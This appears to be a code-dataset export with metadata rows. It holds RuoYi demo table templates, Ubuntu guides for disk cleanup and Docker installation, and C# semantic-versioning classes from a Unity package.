repo_id
stringlengths
6
101
file_path
stringlengths
2
269
content
stringlengths
367
5.14M
size
int64
367
5.14M
filename
stringlengths
1
248
ext
stringlengths
0
87
lang
stringclasses
88 values
program_lang
stringclasses
232 values
doc_type
stringclasses
5 values
quality_signal
stringlengths
2
1.9k
effective
stringclasses
2 values
hit_map
stringlengths
2
1.4k
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/table/event.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('自定义触发事件')" /> </head> <body class="gray-bg"> <div class="container-div"> <div class="row"> <div class="col-sm-12 select-table table-striped"> <p class="select-title">自定义触发事件(点击某行/双击某行/单击某格/双击某格/服务器发送数据前触发/数据被加载时触发)</p> <table id="bootstrap-table"></table> </div> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> var prefix = ctx + "demo/table"; var datas = [[${@dict.getType('sys_normal_disable')}]]; $(function() { var options = { url: prefix + "/list", showSearch: false, showRefresh: false, showToggle: false, showColumns: false, onCheck: onCheck, onUncheck: onUncheck, onCheckAll: onCheckAll, onUncheckAll: onUncheckAll, onClickRow: onClickRow, onDblClickRow: onDblClickRow, onClickCell: onClickCell, onDblClickCell: onDblClickCell, responseHandler: responseHandler, onLoadSuccess: onLoadSuccess, columns: [{ checkbox: true }, { field : 'userId', title : '用户ID' }, { field : 'userCode', title : '用户编号' }, { field : 'userName', title : '用户姓名' }, { field : 'userPhone', title : '用户手机' }, { field : 'userEmail', title : '用户邮箱' }, { field : 'userBalance', title : '用户余额' }, { field: 'status', title: '用户状态', align: 'center', formatter: function(value, row, index) { return $.table.selectDictLabel(datas, value); } }, { title: '操作', align: 'center', formatter: function(value, row, index) { var actions = []; actions.push('<a class="btn btn-success btn-xs" href="#"><i class="fa fa-edit"></i>编辑</a> '); actions.push('<a class="btn btn-danger btn-xs" href="#"><i class="fa fa-remove"></i>删除</a>'); return actions.join(''); } }] }; $.table.init(options); }); function onClickRow(row, $element){ alert("单击行userId:" + row.userId + " userName:" + row.userName); } function onDblClickRow(row, $element){ alert("双击行userId:" + row.userId + " userName:" + row.userName); } function onClickCell(field, value, row, $element){ alert("单击格name:" + field + " value:" + value); } function onDblClickCell(field, value, row, $element){ alert("双击格name:" + field + " value:" + value); } function onCheck(row, $element){ alert("选中行userId:" + row.userId + " userName:" + row.userName); } function onUncheck(row, $element){ alert("取消行userId:" + row.userId + " userName:" + row.userName); } function onCheckAll(rowsAfter, rowsBefore){ var rows = $.map(rowsAfter, function(row) { return $.common.getItemField(row, "userId"); }); alert("全选行:" + rows); } function onUncheckAll(rowsAfter, rowsBefore){ var rows = $.map(rowsBefore, function(row) { return $.common.getItemField(row, "userId"); }); alert("取消行:" + rows); } function responseHandler(res){ alert("请求获取数据后处理回调函数"); } function onLoadSuccess(data){ alert("当所有数据被加载时触发"); } </script> </body> </html>
3,938
event
html
en
html
code
{"qsc_code_num_words": 335, "qsc_code_num_chars": 3938.0, "qsc_code_mean_word_length": 5.77313433, "qsc_code_frac_words_unique": 0.40597015, "qsc_code_frac_chars_top_2grams": 0.03102378, "qsc_code_frac_chars_top_3grams": 0.04653568, "qsc_code_frac_chars_top_4grams": 0.04136505, "qsc_code_frac_chars_dupe_5grams": 0.26680455, "qsc_code_frac_chars_dupe_6grams": 0.21096174, "qsc_code_frac_chars_dupe_7grams": 0.11271975, "qsc_code_frac_chars_dupe_8grams": 0.05067218, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00079208, "qsc_code_frac_chars_whitespace": 0.35881158, "qsc_code_size_file_byte": 3938.0, "qsc_code_num_lines": 133.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 29.60902256, "qsc_code_frac_chars_alphabet": 0.76514851, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09836066, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01639344, "qsc_code_frac_chars_string_length": 0.16273166, "qsc_code_frac_chars_long_word_length": 0.0053313, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.01650584, "qsc_codehtml_num_chars_text": 65.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1xyz/pryrite
_examples/cleanup-diskspace-ubuntu.md
# Ways to cleanup disk-space on ubuntu Source: https://itsfoss.com/free-up-space-ubuntu-linux/ ## Get rid of packages that are no longer required (Recommended) This option removes libs and packages that were installed automatically to satisfy the dependencies of an installed package. If that package is removed, these automatically installed packages are useless in the system. ```shell sudo apt-get autoremove ``` ## Clean up APT cache in Ubuntu The APT package management system keeps a cache of DEB packages in /var/cache/apt/archives. Over time, this cache can grow quite large and hold a lot of packages you don’t need. * Check cache usage ```shell sudo du -sh /var/cache/apt ``` * Either remove only the outdated packages, like those superseded by a recent update, making them completely unnecessary. ```shell sudo apt-get autoclean ``` * Or Delete the cache in its entirety ```shell sudo apt-get clean ``` ## Clear systemd journal logs Check the log size with this command: ```shell journalctl --disk-usage ``` The easiest for you is to clear the logs that are older than a certain days. ```shell sudo journalctl --vacuum-time=3d ``` ## Remove older versions of Snap applications Snap packages are bigger in size. On top of that, Snap stores at least two older versions of the application (in case, you want to go back to the older version). This eats up huge chunk of space. In my case, it was over 5 GB. ```shell du -h /var/lib/snapd/snaps ``` Alan Pope, part of Snapcraft team at Canonical, has created a small script that you can use and run to clean all the older versions of your snap apps ```shell #!/bin/bash # Removes old revisions of snaps # CLOSE ALL SNAPS BEFORE RUNNING THIS set -eu sudo snap list --all | awk '/disabled/{print $1, $3}' | while read snapname revision; do sudo snap remove "$snapname" --revision="$revision" done ```
1,897
cleanup-diskspace-ubuntu
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0010543, "qsc_doc_frac_words_redpajama_stop": 0.25980392, "qsc_doc_num_sentences": 13.0, "qsc_doc_num_words": 309, "qsc_doc_num_chars": 1897.0, "qsc_doc_num_lines": 72.0, "qsc_doc_mean_word_length": 4.53398058, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.55339806, "qsc_doc_entropy_unigram": 4.82812986, "qsc_doc_frac_words_all_caps": 0.0245098, "qsc_doc_frac_lines_dupe_lines": 0.34782609, "qsc_doc_frac_chars_dupe_lines": 0.04867257, "qsc_doc_frac_chars_top_2grams": 0.03211991, "qsc_doc_frac_chars_top_3grams": 0.02569593, "qsc_doc_frac_chars_top_4grams": 0.03211991, "qsc_doc_frac_chars_dupe_5grams": 0.0, "qsc_doc_frac_chars_dupe_6grams": 0.0, "qsc_doc_frac_chars_dupe_7grams": 0.0, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 21.32941176, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.90070922, "qsc_doc_frac_chars_digital": 0.00257898, "qsc_doc_frac_chars_whitespace": 0.18239325, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1xyz/pryrite
_examples/install-docker-ubuntu.md
# Install Docker on Ubuntu Source: https://docs.docker.com/engine/install/ubuntu/ To install Docker Engine, you need the 64-bit version of one of these Ubuntu versions: Ubuntu Impish 21.10 Ubuntu Hirsute 21.04 Ubuntu Focal 20.04 (LTS) Ubuntu Bionic 18.04 (LTS) ## Uninstall old versions Older versions of Docker were called docker, docker.io, or docker-engine. If these are installed, uninstall them: ```shell sudo apt-get remove docker docker-engine docker.io containerd runc ``` ## Install using the repository Before you install Docker Engine for the first time on a new host machine, you need to set up the Docker repository. Afterward, you can install and update Docker from the repository. ### Setup this repository * Update the apt package index and install packages to allow apt to use a repository over HTTPS: ```shell sudo apt-get update ``` ```shell sudo apt-get install \ ca-certificates \ curl \ gnupg \ lsb-release ``` * Add Docker’s official GPG key: ```shell curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg ``` * Use the following command to set up the stable repository. ```shell echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null ``` ### Install Docker Engine * Update the apt package index, and install the latest version of Docker Engine and containerd, or go to the next step to install a specific version: ```shell sudo apt-get update ``` ```shell sudo apt-get install docker-ce docker-ce-cli containerd.io ``` * Verify that Docker Engine is installed correctly by running the hello-world image. ```shell sudo docker run hello-world ```
1,868
install-docker-ubuntu
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.18544601, "qsc_doc_num_sentences": 24.0, "qsc_doc_num_words": 290, "qsc_doc_num_chars": 1868.0, "qsc_doc_num_lines": 74.0, "qsc_doc_mean_word_length": 4.75862069, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.44482759, "qsc_doc_entropy_unigram": 4.41631577, "qsc_doc_frac_words_all_caps": 0.00938967, "qsc_doc_frac_lines_dupe_lines": 0.375, "qsc_doc_frac_chars_dupe_lines": 0.07106599, "qsc_doc_frac_chars_top_2grams": 0.06086957, "qsc_doc_frac_chars_top_3grams": 0.04347826, "qsc_doc_frac_chars_top_4grams": 0.05434783, "qsc_doc_frac_chars_dupe_5grams": 0.21594203, "qsc_doc_frac_chars_dupe_6grams": 0.21594203, "qsc_doc_frac_chars_dupe_7grams": 0.16811594, "qsc_doc_frac_chars_dupe_8grams": 0.06231884, "qsc_doc_frac_chars_dupe_9grams": 0.06231884, "qsc_doc_frac_chars_dupe_10grams": 0.06231884, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 18.07142857, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.86862245, "qsc_doc_frac_chars_digital": 0.01147959, "qsc_doc_frac_chars_whitespace": 0.16059957, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/table/exportSelected.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('导出选择列')" /> </head> <body class="gray-bg"> <div class="container-div"> <div class="row"> <div class="col-sm-12 search-collapse"> <form id="export-form"> <div class="select-list"> <ul> <li> 用户姓名:<input type="text" name="userName" value=""/> </li> <li> <a class="btn btn-primary btn-rounded btn-sm" onclick="$.table.search()"><i class="fa fa-search"></i>&nbsp;搜索</a> <a class="btn btn-warning btn-rounded btn-sm" onclick="$.form.reset()"><i class="fa fa-refresh"></i>&nbsp;重置</a> </li> </ul> </div> </form> </div> <div class="btn-group-sm" id="toolbar" role="group"> <i class="fa fa-info-circle" style="color: red;"></i> 勾选数据导出指定列,否则为全部 <a class="btn btn-warning" onclick="exportSelected()"> <i class="fa fa-download"></i> 导出 </a> </div> <div class="col-sm-12 select-table table-striped"> <table id="bootstrap-table"></table> </div> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> var prefix = ctx + "demo/table"; var datas = [[${@dict.getType('sys_normal_disable')}]]; $(function() { var options = { url: prefix + "/list", showSearch: false, showRefresh: false, showToggle: false, showColumns: false, clickToSelect: true, rememberSelected: true, columns: [{ field: 'state', checkbox: true }, { field : 'userId', title : '用户ID' }, { field : 'userCode', title : '用户编号' }, { field : 'userName', title : '用户姓名' }, { field : 'userPhone', title : '用户手机' }, { field : 'userEmail', title : '用户邮箱' }, { field : 'userBalance', title : '用户余额' }, { field: 'status', title: '用户状态', align: 'center', formatter: function(value, row, index) { return $.table.selectDictLabel(datas, value); } }, { title: '操作', align: 'center', formatter: function(value, row, index) { var actions = []; actions.push('<a class="btn btn-success btn-xs" href="#"><i class="fa fa-edit"></i>编辑</a> '); actions.push('<a class="btn btn-danger btn-xs" href="#"><i class="fa fa-remove"></i>删除</a>'); return actions.join(''); } }] }; $.table.init(options); }); // 导出数据 function exportSelected() { var userIds = $.table.selectColumns("userId"); var dataParam = $("#export-form").serializeArray(); var tipMsg = "确定导出所有数据吗?"; if($.common.isNotEmpty(userIds)){ tipMsg = "确定导出勾选" + userIds.length + "条数据吗?"; dataParam.push({ "name": "userIds", "value": userIds }); } $.modal.confirm(tipMsg, function() { $.post(prefix + "/exportData", dataParam, function(result) { if (result.code == web_status.SUCCESS) { window.location.href = ctx + "common/download?fileName=" + encodeURI(result.msg) + "&delete=" + true; } else { $.modal.alertError(result.msg); } }); }); } </script> </body> </html>
3,777
exportSelected
html
en
html
code
{"qsc_code_num_words": 371, "qsc_code_num_chars": 3777.0, "qsc_code_mean_word_length": 4.81132075, "qsc_code_frac_words_unique": 0.43665768, "qsc_code_frac_chars_top_2grams": 0.02689076, "qsc_code_frac_chars_top_3grams": 0.02689076, "qsc_code_frac_chars_top_4grams": 0.03361345, "qsc_code_frac_chars_dupe_5grams": 0.1557423, "qsc_code_frac_chars_dupe_6grams": 0.0929972, "qsc_code_frac_chars_dupe_7grams": 0.06722689, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00163399, "qsc_code_frac_chars_whitespace": 0.35186656, "qsc_code_size_file_byte": 3777.0, "qsc_code_num_lines": 120.0, "qsc_code_num_chars_line_max": 126.0, "qsc_code_num_chars_line_mean": 31.475, "qsc_code_frac_chars_alphabet": 0.72753268, "qsc_code_frac_chars_comments": 0.00185332, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14529915, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01709402, "qsc_code_frac_chars_string_length": 0.22699549, "qsc_code_frac_chars_long_word_length": 0.01219836, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.02621128, "qsc_codehtml_num_chars_text": 99.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1x-technologies/halodi-unity-package-registry-manager
Editor/ThirdParty/Unity-SemVer/CloudBuildManifest.cs
using System; using UnityEngine; namespace Artees.UnitySemVer { /// <summary> /// A parsed <a href="https://docs.unity3d.com/Manual/UnityCloudBuildManifest.html">Unity Cloud Build manifest</a>. /// </summary> internal class CloudBuildManifest { private static CloudBuildManifest _instance; public static CloudBuildManifest Instance => _instance ?? (_instance = new CloudBuildManifest()); /// <summary> /// Returns true if the manifest has been successfully loaded. /// </summary> public readonly bool IsLoaded; /// <summary> /// The Unity Cloud Build “build number” corresponding to this build. /// </summary> public readonly int BuildNumber; private CloudBuildManifest() { var manifestAsset = Resources.Load<TextAsset>("UnityCloudBuildManifest.json"); if (manifestAsset == null) return; var manifest = manifestAsset.text; IsLoaded = true; const string key = "\"buildNumber\""; const StringComparison comparison = StringComparison.Ordinal; var keyStart = manifest.IndexOf(key, comparison); var valueStart = manifest.IndexOf("\"", keyStart + key.Length, comparison) + 1; var valueEnd = manifest.IndexOf("\"", valueStart, comparison); var buildNumber = manifest.Substring(valueStart, valueEnd - valueStart); int.TryParse(buildNumber, out BuildNumber); } } }
1,520
CloudBuildManifest
cs
en
csharp
code
{"qsc_code_num_words": 132, "qsc_code_num_chars": 1520.0, "qsc_code_mean_word_length": 7.22727273, "qsc_code_frac_words_unique": 0.53030303, "qsc_code_frac_chars_top_2grams": 0.04716981, "qsc_code_frac_chars_top_3grams": 0.03144654, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00178891, "qsc_code_frac_chars_whitespace": 0.26447368, "qsc_code_size_file_byte": 1520.0, "qsc_code_num_lines": 40.0, "qsc_code_num_chars_line_max": 120.0, "qsc_code_num_chars_line_mean": 38.0, "qsc_code_frac_chars_alphabet": 0.85152057, "qsc_code_frac_chars_comments": 0.22105263, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02616034, "qsc_code_frac_chars_long_word_length": 0.02362869, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.0, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.19230769, "qsc_codecsharp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}
1x-technologies/halodi-unity-package-registry-manager
Editor/ThirdParty/Unity-SemVer/SemVer.cs
using System; using UnityEngine; namespace Artees.UnitySemVer { /// <summary> /// A semantic version based on the <a href="https://semver.org/">Semantic Versioning 2.0.0</a> specification. /// </summary> [Serializable] public class SemVer : IComparable<SemVer>, IEquatable<SemVer> { public const char IdentifiersSeparator = '.'; public const char PreReleasePrefix = '-'; public const char BuildPrefix = '+'; public static bool operator ==(SemVer left, SemVer right) { return Equals(left, right); } public static bool operator !=(SemVer left, SemVer right) { return !Equals(left, right); } public static bool operator >(SemVer left, SemVer right) { return left.CompareTo(right) > 0; } public static bool operator <(SemVer left, SemVer right) { return left.CompareTo(right) < 0; } public static bool operator >=(SemVer left, SemVer right) { return left.CompareTo(right) >= 0; } public static bool operator <=(SemVer left, SemVer right) { return left.CompareTo(right) <= 0; } public static implicit operator string(SemVer s) { return s.ToString(); } public static implicit operator SemVer(string s) { return Parse(s); } public static SemVer Parse(string semVer) { return SemVerConverter.FromString(semVer); } /// <summary> /// Major version X (X.y.z | X > 0) MUST be incremented if any backwards incompatible changes are introduced /// to the public API. It MAY include minor and patch level changes. Patch and minor version MUST be reset to 0 /// when major version is incremented. /// <seealso cref="IncrementMajor"/> /// </summary> public uint major; /// <summary> /// Minor version Y (x.Y.z | x > 0) MUST be incremented if new, backwards compatible functionality is /// introduced to the public API. It MUST be incremented if any public API functionality is marked as /// deprecated. It MAY be incremented if substantial new functionality or improvements are introduced within /// the private code. It MAY include patch level changes. Patch version MUST be reset to 0 when minor version /// is incremented. /// <seealso cref="IncrementMinor"/> /// </summary> public uint minor; /// <summary> /// Patch version Z (x.y.Z | x > 0) MUST be incremented if only backwards compatible bug fixes are introduced. /// </summary> public uint patch; /// <summary> /// A pre-release version indicates that the version is unstable and might not satisfy the intended /// compatibility requirements as denoted by its associated normal version. /// </summary> /// <example>1.0.0-<b>alpha</b>, 1.0.0-<b>alpha.1</b>, 1.0.0-<b>0.3.7</b>, 1.0.0-<b>x.7.z.92</b></example> public string preRelease; /// <summary> /// Set the <see cref="Build">build</see> metadata automatically /// </summary> /// <seealso cref="Build"/> public SemVerAutoBuild.Type autoBuild; [SerializeField] private string build = string.Empty; /// <summary> /// Build metadata MUST be ignored when determining version precedence. Thus two versions that differ only in /// the build metadata, have the same precedence. /// </summary> /// <example>1.0.0-alpha+<b>001</b>, 1.0.0+<b>20130313144700</b>, 1.0.0-beta+<b>exp.sha.5114f85</b></example> public string Build { get => SemVerAutoBuild.Instances[autoBuild].Get(build); set => build = SemVerAutoBuild.Instances[autoBuild].Set(value); } /// <summary> /// The base part of the version number (Major.Minor.Patch). /// </summary> /// <example>1.9.0</example> /// <returns>Major.Minor.Patch</returns> public string Core => $"{major}.{minor}.{patch}"; /// <summary> /// An internal version number. This number is used only to determine whether one version is more recent than /// another, with higher numbers indicating more recent versions. /// <a href="https://developer.android.com/studio/publish/versioning"/> /// </summary> /// <returns><c>Major * 10000 + Minor * 100 + Patch</c></returns> public int AndroidBundleVersionCode { get { var clampedPatch = ClampAndroidBundleVersionCode(patch, "Patch"); var clampedMinor = ClampAndroidBundleVersionCode(minor, "Minor"); return (int) (major * 10000 + clampedMinor * 100 + clampedPatch); } } private static uint ClampAndroidBundleVersionCode(uint value, string name) { uint clamped; const uint max = 100; if (value >= max) { clamped = max - 1; Debug.LogWarning(name + " should be less than " + max); } else { clamped = value; } return clamped; } public SemVer() { minor = 1; preRelease = string.Empty; autoBuild = SemVerAutoBuild.Type.Manual; } /// <summary> /// Increment the major version, reset the patch and the minor version to 0. /// </summary> public void IncrementMajor() { major++; minor = patch = 0; } /// <summary> /// Increment the minor version, reset the patch version to 0. /// </summary> public void IncrementMinor() { minor++; patch = 0; } /// <summary> /// Increment the patch version. /// </summary> public void IncrementPatch() { patch++; } /// <summary> /// Check if this semantic version meets the <a href="https://semver.org/">Semantic Versioning 2.0.0</a> /// specification. /// </summary> /// <returns>The result of validation and automatically corrected version number.</returns> public SemVerValidationResult Validate() { return new SemVerValidator().Validate(this); } /// <summary> /// Creates a copy of this semantic version. /// </summary> public SemVer Clone() { return new SemVer { major = major, minor = minor, patch = patch, preRelease = preRelease, Build = Build, autoBuild = autoBuild, }; } public int CompareTo(SemVer other) { return new SemVerComparer().Compare(this, other); } public bool Equals(SemVer other) { if (ReferenceEquals(null, other)) return false; if (ReferenceEquals(this, other)) return true; return CompareTo(other) == 0; } public override bool Equals(object obj) { if (ReferenceEquals(null, obj)) return false; if (ReferenceEquals(this, obj)) return true; return obj.GetType() == GetType() && Equals((SemVer) obj); } public override int GetHashCode() { throw new NotImplementedException(); } public override string ToString() { return SemVerConverter.ToString(this); } } }
7,860
SemVer
cs
en
csharp
code
